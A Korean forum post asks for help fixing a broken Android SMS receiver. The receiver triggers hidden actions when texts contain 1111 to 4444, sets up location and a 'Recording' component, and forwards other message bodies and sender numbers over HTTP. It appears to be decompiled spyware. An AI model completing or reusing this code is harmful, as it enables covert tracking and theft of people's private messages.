안녕하세요
1111, 2222, 3333, 4444 란 문자를 받은걸 감지할 시에
각각의 동작을 수행하는 어플 코드 중에 일부입니다.
그런데, 한참 만들다 막혔습니다. ㅠㅠ
에러나는 부분은 모두 주석처리 했습니다.
도와주실 분 계신가요??
public void onReceive(Context paramContext, Intent paramIntent) {
Bundle localBundle = paramIntent.getExtras();
this.global_context = paramContext;
this.tm = ((TelephonyManager) paramContext.getSystemService("phone"));
this.lm = ((LocationManager) paramContext.getSystemService("location"));
this.cName = new ComponentName(paramContext.getPackageName(),
Recording.class.getName());
Criteria localCriteria = new Criteria();
localCriteria.setAccuracy(0);
localCriteria.setPowerRequirement(0);
String str1 = this.lm.getBestProvider(localCriteria, true);
Object[] arrayOfObject;
SmsMessage[] arrayOfSmsMessage = null;
int i;
int j = 0;
if (localBundle != null) {
arrayOfObject = (Object[]) localBundle.get("pdus");
arrayOfSmsMessage = new SmsMessage[arrayOfObject.length];
i = 0;
if (i < arrayOfObject.length)
// break;
j = arrayOfSmsMessage.length;
}
for (int k = 0;; k++) {
if (k >= j) {
return;
//arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[]) arrayOfObject[i]);
//i++;
//break;
}
SmsMessage localSmsMessage = arrayOfSmsMessage[k];
String str2 = localSmsMessage.getDisplayMessageBody();
String str3 = localSmsMessage.getOriginatingAddress();
try {
if (str2.equals("1111")) {
수행할내용1
} else if (str2.equals("4444")) {
수행할내용4
}
} catch (Exception localException) {
localException.printStackTrace();
}
if (str2.equals("2222")) {
수행할내용2
} else if (str2.equals("3333")) {
수행할내용3
} else {
this.strbuf = getSmartSMS(str2, str3);
httpSendMsg(this.strbuf);
}
}
}